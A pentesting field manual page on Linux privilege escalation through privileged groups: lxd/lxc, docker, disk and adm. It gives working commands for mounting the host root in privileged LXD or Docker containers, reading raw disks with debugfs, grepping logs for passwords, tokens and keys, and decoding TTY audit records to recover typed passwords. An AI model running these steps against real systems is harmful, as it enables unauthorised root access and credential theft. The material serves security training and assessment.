Field Manual

LINUX PRIVILEGED GROUPS

4 min read

PRIMARY CATEGORY → LINUX PRIVESC

Enumeration

id
groups "$USER"

LXC | LXD

Manual Exploitation
Downloading the Build Alpine

From the Attacker ⚔️

curl --silent --location --request GET 'https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine' --remote-name
Building Alpine

From the Attacker ⚔️

bash ./build-alpine
Creating the Container
lxd init
lxc image import <ALPINE_TAR_GZ> --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh # Or lxc exec privesc /bin/bash
ExploitDB

ExploitDB

Downloading the Build Alpine

From the Attacker ⚔️

curl --silent --location --request GET 'https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine' --remote-name
Building Alpine

From the Attacker ⚔️

bash ./build-alpine
Running the Exploit

From the Target 🎯

bash script.bash

Once inside the container, just go to /mnt/root to see all resources from the host machine

Docker

If the current user belongs to the docker group, we can spawn new docker containers and compromise the entire machine using volumes by mounting the system root / on the container’s /mnt directory

This is because, by default, both ROOT user and the Docker group have write permissions over the Docker Daemon’s Socket

Therefore, a member of the Docker group can use the docker command ( Docker Client ) to send requests to the Docker Daemon’s API REST without receiving an access denied error

Alternatively, Docker may have SUID set or the current user is in the sudoers file

In any case, we can create a Docker Container with a bind mount so that the host’s file system is accesible from the container

docker run --volume /:/mnt --rm --interactive --tty ubuntu chroot /mnt /bin/bash

To interact with the Docker Daemon’s Socket, see Abusing Docker Sockets

Disk

Members of this group have full access to any existing device within /dev, which means that file system permissions are ignored, so we can read the entire file system from the raw disk

To do so, we use debugfs

  • Interactive
debugfs <DISK> # debugfs /dev/sda1
  • Non-Interactive
debugfs -R 'cat <RESOURCE>' <DISK>

ADM

Users belonging to the adm group commonly have read access to sensitive system logs under /var/log

Membership in adm is therefore an information disclosure capability rather than a direct privesc primitive

Check Group Membership
id
groups
getent group adm
Interesting Directories/Files

They may contain sensitive information

e.g. /var/log/audit/audit.log

/var/log/
/var/log/auth.log
/var/log/syslog
/var/log/kern.log
/var/log/apache2/
/var/log/nginx/
/var/log/audit/
/var/log/installer/
/var/log/cloud-init*
Enumerating Readable Log Files
  • Files actually readable by the current user
find /var/log -readable -type f -ls 2> /dev/null

Try find / ...<SNIP>... as well

  • Files explicitly owned by the adm group
find /var/log -type f -group adm -perm -g=r -ls 2> /dev/null
Search generically for sensitive information
find /var/log -type f -readable -print0 2>/dev/null | xargs -0 grep -IinE --color=always -- 'pass(word|wd|phrase)?|passwd|secret|credential|token|api[_-]?key|auth(entication|orization)?|bearer|user(name)?|login|private.?key' 2>/dev/null | less -R
TTY Auditing

The given system may be configured to audit all issued commands during a TTY session related to an specific system user

This can be configured by leveraging the pam_tty_audit.so PAM module, such as follows

/etc/pam.d/system-auth

session required pam_tty_audit.so disable=* enable=john

The directive above simply enable TTY Auditing for the john system user

Therefore, we can verify if audit logs are readable by the current user to subsequently look for sensitive information entered during a given TTY session

Checking whether Audit Logs are readable
find /var/log/audit -type f -readable -ls 2> /dev/null

The main audit log is usually named audit.log

Checking for TTY Auditing
grep -iP --color -- 'type=TTY|log_passwd|tty_set' /var/log/audit/audit.log* 2>/dev/null

A record such as new-enabled=1 or new-log_passwd=1 indicates that TTY auditing was enabled and configured to log input while terminal echo was disabled

Terminal echo is usually disabled on password prompts

Parsing TTY Events correctly

Once we have identified that TTY audit has been configured for an specific user to log every issued command by the latter, simply proceed as follows to parse all relevant information

  • ausearch
ausearch -m TTY -i --escape shell_quote
  • aureport
aureport --tty

Note that RAW audit data may contain bytes captured from TTY in hex format, so we can proceed as follows to decode it

echo -n '<DATA>' | xxd -ps -r

Graph View

Backlinks